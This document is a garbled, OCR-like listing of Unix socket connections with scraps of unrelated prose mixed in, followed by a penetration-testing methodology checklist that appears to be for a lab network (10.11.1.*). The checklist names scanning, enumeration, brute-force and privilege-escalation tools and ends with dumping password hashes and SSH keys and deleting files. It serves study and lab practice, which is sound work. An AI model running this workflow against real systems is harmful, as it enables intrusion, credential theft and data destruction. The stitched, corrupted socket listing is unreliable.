unix	3	[]	STREAM	CONNECTED	22100	a/tmp/.X11-unix/X0
unix	3	[]	STREAM	CONNECTED	21598	a/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	15774	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	19370	/var/run/dbus/system_bus_socket
unix	3	ield her	STREAM	CONNECTED	22090	e and you were getting real bold in that b
unix	3	[]	STREAM	CONNECTED	21653	on If you can not that must the continue
unix	3	[]	STREAM	CONNECTED	17594	see if you can get that root the system and
unix	3	i ji y que	STREAM	CONNECTED	18493	t need the answer to, if you're lucky I'll ev
unix	3	[]	STREAM	CONNECTED	22230	L penners and heaf"
unix	3	Ĺĺ	STREAM	CONNECTED	21772	a/tmp/dbus-pmtrmqSxLO
unix	3	į į	STREAM	CONNECTED	21183	도 경기 경기 내가
unix	3	įį	STREAM	CONNECTED	21825	AND THE RESERVE OF THE PERSON
unix	3	id ra v	STREAM	CONNECTED	21832	a/tmp/dbus-pmtrmqSxL0
unix	3	[]	STREAM	CONNECTED	22037	@/tmp/dbus-pmtrmqSxLO
unix	3	[cjampul	STREAM	CONNECTED	21581	@/tmp/dbus-INTtRPfIPF
unix	3	i i	STREAM	CONNECTED	17669	/var/run/dbus/system_bus_socket
unix	3	i i	DGRAM		15064	
unix	3	įί	STREAM	CONNECTED	22130	4 4 9
unix	3	įį	STREAM	CONNECTED	21826	@/tmp/dbus-pmtrmqSxLO
unix	3	ΪÌ	DGRAM		15065	

unix	2	[]	DGRAM		27328	
unix	3	[]	STREAM	CONNECTED	14586	
unix	3	[]	STREAM	CONNECTED	22033	@/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	21800	
unix	3	[]	STREAM	CONNECTED	22343	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	22129	@/tmp/dbus-INTtRPfIPF
unix	3	[]	STREAM	CONNECTED	18316	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	22231	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	21571	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	21835	
unix	3	[]	STREAM	CONNECTED	18315	
unix	3	[]	STREAM	CONNECTED	21803	
unix	2	[]	STREAM	CONNECTED	27325	
unix	2	[]	DGRAM		17562	
unix	3	[]	STREAM	CONNECTED	22354	/var/run/dbus/system_bus_socket
unix	3	[]	STREAM	CONNECTED	19369	
unix	3	[]	STREAM	CONNECTED	22131	@/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	21605	/run/systemd/journal/stdout
unix	2	[]	DGRAM		27089	
unix	2	[]	DGRAM		18491	
unix	3	[]	STREAM	CONNECTED	22235	
unix	3	[]	STREAM	CONNECTED	21771	
unix	3	[]	STREAM	CONNECTED	14851	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	22089	@/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	21568	
unix	3	[]	STREAM	CONNECTED	22339	
unix	3	[]	STREAM	CONNECTED	22124	
unix	3	[]	STREAM	CONNECTED	20582	
unix	3	a:". [] Tool	STREAM	CONNECTED	22093	of time. I more minutes and you w
unix	3	[]	STREAM	CONNECTED	21646	@/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	21454	a/tmp/.X11-unix/X0
unix	3	[]	STREAM	CONNECTED	18189	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	21769	
unix	3	[]	STREAM	CONNECTED	21597	Service and a service of the service
unix	3	O. () 101	STREAM	CONNECTED	27234	any computer in the system, we o
unix	3	ve nt Id he	STREAM	CONNECTED	18304	se and you were getting real hold t
unix	3	TO PER THE NAME OF	STREAM	CONNECTED	22135	a/tmp/.X11-unix/X0
unix	3	[]	STREAM	CONNECTED	20326	see to him can her murriant rite six
unix	3	asl [a] by qu	STREAM	CONNECTED	21397	Uneed the answer to, if you're luci
unix	3	[]	STREAM	CONNECTED	21654	II nanners and heaf "
unix	3	[]	STREAM	CONNECTED	22125	/run/user/108/pulse/native
unix	3	[]	STREAM	CONNECTED	22107	/run/user/108/pulse/native
unix	3	[]	STREAM	CONNECTED	22032	
unix	3	a:"1[] Ed. 1	STREAM	CONNECTED	22122	the device they are talking about o
unix	3	[]	STREAM	CONNECTED	21603	
unix	3	(Journa	STREAM	CONNECTED	18496	e on the main deck if you need us!
unix	3	[]	STREAM	CONNECTED	22145	/var/run/dbus/system_bus_socket
unix	2	[]	DGRAM		21281	
unix	3	[]	STREAM	CONNECTED	22103	@/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	21589	a/tmp/.X11-unix/X0
unix	3	[]	STREAM	CONNECTED	22091	/var/run/dbus/system_bus_socket

unix	3 [1	STREAM	CONNECTED	17566	/run/systemd/journal/stdout
unix		Ī	STREAM	CONNECTED	21335	
unix	3 [Ĩ.	STREAM	CONNECTED	22136	
unix	3 [Ĩ	STREAM	CONNECTED	21770	/var/run/dbus/system_bus_socket
unix	3 [Ī	STREAM	CONNECTED	20583	/var/run/dbus/system_bus_socket
unix	3 [Ī	STREAM	CONNECTED	21608	@/tmp/dbus-pmtrmqSxLO
unix	3 [Ĩ	STREAM	CONNECTED	21453	
unix	3 [Ĭ .	STREAM	CONNECTED	27179	
unix	3 [Ĩ	STREAM	CONNECTED	18659	/run/systemd/journal/stdout
unix	3 [Ī	STREAM	CONNECTED	22134	
unix	3 [1	STREAM	CONNECTED	20594	/run/systemd/journal/stdout
unix		1	STREAM	CONNECTED	21569	/run/systemd/journal/stdout
unix	2 [1	DGRAM		14640	
unix	3 [1	STREAM	CONNECTED	22236	/var/run/dbus/system_bus_socket
unix	3 [1	STREAM	CONNECTED	17503	X 1 / 2 / 2 / 2 / 2 / 2 / 2 / 2 / 2 / 2 /
unix	3 [1	STREAM	CONNECTED	21336	
unix	3 [1	STREAM	CONNECTED	18494	
unix	3 [1	STREAM	CONNECTED	22094	/var/run/dbus/system_bus_socket
unix	3 [1	STREAM	CONNECTED	21607	
unix	2 [1	DGRAM		17663	
unix	2 [1	DGRAM		27185	
unix	3 [1	STREAM	CONNECTED	21656	/run/systemd/journal/stdout
unix	3 [1	STREAM	CONNECTED	22102	
unix	3 [1	STREAM	CONNECTED	17389	
unix	2 [1	DGRAM		27195	
unix	3 [1	STREAM	CONNECTED	18305	/run/systemd/journal/stdout
unix	3 [1	STREAM	CONNECTED	22144	
unix	3 [1	STREAM	CONNECTED	21184	/var/run/dbus/system_bus_socket
unix		I look	STREAM	CONNECTED	21570	it time. 3 more minutes and
unix	2 [1	DGRAM		16944	o graphygia ii.
unix	3 [1	STREAM	CONNECTED	22353	e qarnaye.
unix	3 [1	STREAM	CONNECTED	19357	/run/systemd/journal/stdout
unix	3 [1	STREAM	CONNECTED	22137	/var/run/dbus/system_bus_socket
unix	3 [1_{total}	STREAM	CONNECTED	21804	/var/run/dbus/system_bus_socket
unix	3 [1	STREAM	CONNECTED	21138	my computer in the systems
unix	2 [da ner	DGRAM		14488	e and you were getting real
unix	3 [Je Nov	STREAM	CONNECTED	21606	/run/systemd/journal/stdout
unix	3 [j	STREAM	CONNECTED	17666	CONTRACTOR AND
unix		Jay que	STREAM	CONNECTED	22123	@/tmp/dbus-pmtrmqSxLO
unix	3 [1	STREAM	CONNECTED	22088	I peppers and heef/
unix	3 [Ī	STREAM	CONNECTED	21602	A CONTRACT THE CONTRACT CONTRA
unix	3 [į	STREAM	CONNECTED	23130	/var/run/dbus/system_bus_socket
unix	3 [1	STREAM	CONNECTED	19389	/var/run/dbus/system_bus_socket
unix	3 [d Ed. Yo	STREAM	CONNECTED	19872	he device they are talking a
unix	3 [1	STREAM	CONNECTED	21274	panayian compression of the filter of the
unix	3 [1	STREAM	CONNECTED	20021	/run/systemd/journal/stdout
unix	3 [1	STREAM	CONNECTED	21841	a/tmp/.X11-unix/X0
unix]	STREAM	CONNECTED	21440	
unix]	DGRAM	CONNECTED	15780	Involenational land
unix]	STREAM	CONNECTED	21657	/run/systemd/journal/stdout
unix	3 [1	STREAM	CONNECTED	21820	

unix 3 []	STREAM	CONNECTED	23144	aler Vision Samuel MSD XX
unix 3 [] unix 3 [] unix 3 []	STREAM	CONNECTED	20085	/var/run/dbus/system_bus_socket
unix 3 []	STREAM	CONNECTED	21808	@/tmp/dbus-pmtrmqSxLO
unix 3 []	STREAM	CONNECTED	21744	/var/run/dbus/system_bus_socket
unix 2 []	DGRAM		15775	24 (V) (1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
unix 3 []	STREAM	CONNECTED	21870	
unix 3 []	STREAM	CONNECTED	21662	
unix 3 []	STREAM	CONNECTED	21818	A Continue of the Continue of
unix 3 []	STREAM	CONNECTED	22108	
unix 3 []	STREAM	CONNECTED	17668	/var/run/dbus/system_bus_socket
unix 2 []	STREAM	CONNECTED	23150	74.074 (10.504) (5.514) (10. 4 0.505) - 110. - 10.505
unix 3 []	STREAM	CONNECTED	18854	/var/run/dbus/system_bus_socket
unix 3 []	STREAM	CONNECTED	21848	
unix 3 []	STREAM	CONNECTED	23043	/run/systemd/journal/stdout
unix 3 []	DGRAM		15781	
unix 3 []	STREAM	CONNECTED	21278	/run/systemd/journal/stdout
unix 3 []	STREAM	CONNECTED	22104	
unix 3 []	STREAM	CONNECTED	22113	@/tmp/dbus-INTtRPfIPF
unix 3 []	STREAM	CONNECTED	21840	wy sing, seeps and sin tar.
unix 3 []	STREAM	CONNECTED	23129	
	STREAM	CONNECTED	21674	/var/run/dbus/system_bus_socket
unix 3 [] unix 3 []	STREAM	CONNECTED	17667	/ rathram, apapy by beem_bab_bocker
unix 2 []	DGRAM	(00)111201129	22448	
unix 3 []	STREAM	CONNECTED	21559	@/tmp/dbus-INTtRPfIPF
unix 3 []	STREAM	CONNECTED	19388	w emp, dods
unix 3 []	STREAM	CONNECTED	21877	@/tmp/dbus-INTtRPfIPF
unix 3 []	STREAM	CONNECTED	22112	w/ cmp/ dodd 141 cm 1111
unix 3 []	STREAM	CONNECTED	21847	
unix 2 []	STREAM	CONNECTED	23137	
unix 3 []	STREAM	CONNECTED	18673	at time 2 more admits a and war
unix 3 []	STREAM	CONNECTED	23124	/run/systemd/journal/stdout
unix 3 []	DGRAM	00,11120,120	21889	, ran, systema, journal, stadut
unix 3 []	STREAM	CONNECTED	21867	/var/run/dbus/system_bus_socket
unix 2 []	DGRAM	99,1129,129	17588	/ (d1/ 10// d0d5/ 5/5 cc// _5d5_50c/cc/
unix 3 []	STREAM	CONNECTED	23123	
unix 3 []	DGRAM	COMMECTES	15782	any computer in the system. We
unix 3 []	DGRAM		21888	se and you were catting real bot
unix 3 []	STREAM	CONNECTED	23145	/var/run/dbus/system_bus_socket
unix 3 []	STREAM	CONNECTED	21821	@/tmp/dbus-pmtrmqSxLO
	STREAM	CONNECTED	19873	/run/systemd/journal/stdout
unix 3 []	STREAM	CONNECTED	22109	/run/user/108/pulse/native
unix 3 []	STREAM	CONNECTED	18657	/var/run/dbus/system_bus_socket
unix 3 []	STREAM	CONNECTED	21871	@/tmp/dbus-pmtrmqSxLO
unix 3 []	STREAM	CONNECTED	23148	w/ tmp/ doddy pmrtmdyxto
unix 3 []	DGRAM	COMMECTED	15779	Observation (Construction of the Construction
	STREAM	CONNECTED	21819	/var/run/dbus/system_bus_socket
unix 3 [] unix 3 []	STREAM	CONNECTED	18674	/var/run/dbus/system_bus_socket
unix 3 []	STREAM	CONNECTED	21663	@/tmp/dbus-pmtrmqSxLO
unix 3 []	STREAM	CONNECTED	20015	w/ cmp/ doub-pmctmdbxco
unix 3 []	STREAM	CONNECTED	18578	
unix 3 []	STREAM	CONNECTED	21673	hmph"
mitx 3 []	SIREAM	CONNECTED	210/3	

Methodology

Network Scanning
 □ nmap -sn 10.11.1.* □ nmap -sL 10.11.1.* □ nbtscan -r 10.11.1.0/24 □ smbtree
Individual Host Scanning
 □ nmaptop-ports 20open -iL iplist.txt □ nmap -sS -A -sV -O -p- ipaddress □ nmap -sU ipaddress
Service Scanning
WebApp □ Nikto □ dirb □ dirbuster □ wpscan □ dotdotpwn □ view source □ davtest\cadevar □ droopscan □ joomscan □ LFI\RFI Test
Linux\Windows □ snmpwalk -c public -v1 ipaddress 1 □ smbclient -L//ipaddress □ showmount -e ipaddress port □ rpcinfo □ Enum4Linux
Anything Else
 □ nmap scripts (locate *nse* grep servicename) □ hydra □ MSF Aux Modules □ Download the softward
Exploitation
Gather Version Numbes Searchsploit Default Creds Creds Previously Gathered Download the software
Post Exploitation
Linux linux-local-enum.sh linuxprivchecker.py linux-exploit-suggestor.sh unix-privesc-check.py
Windows
□ wpc.exe□ windows-exploit-suggestor.py□ windows privesc check.py

	□ windows-privesc-check2.exe						
Priv Escalation							
	acesss internal services (portfwd) add account						
Windo	ows						
	List of exploits						
Linux	sudo su KernelDB Searchsploit						
<u>Final</u>							
	Screenshot of IPConfig\WhoamI						
	Copy proof.txt						
	Dump hashes						
	Dump SSH Keys						
	Delete files						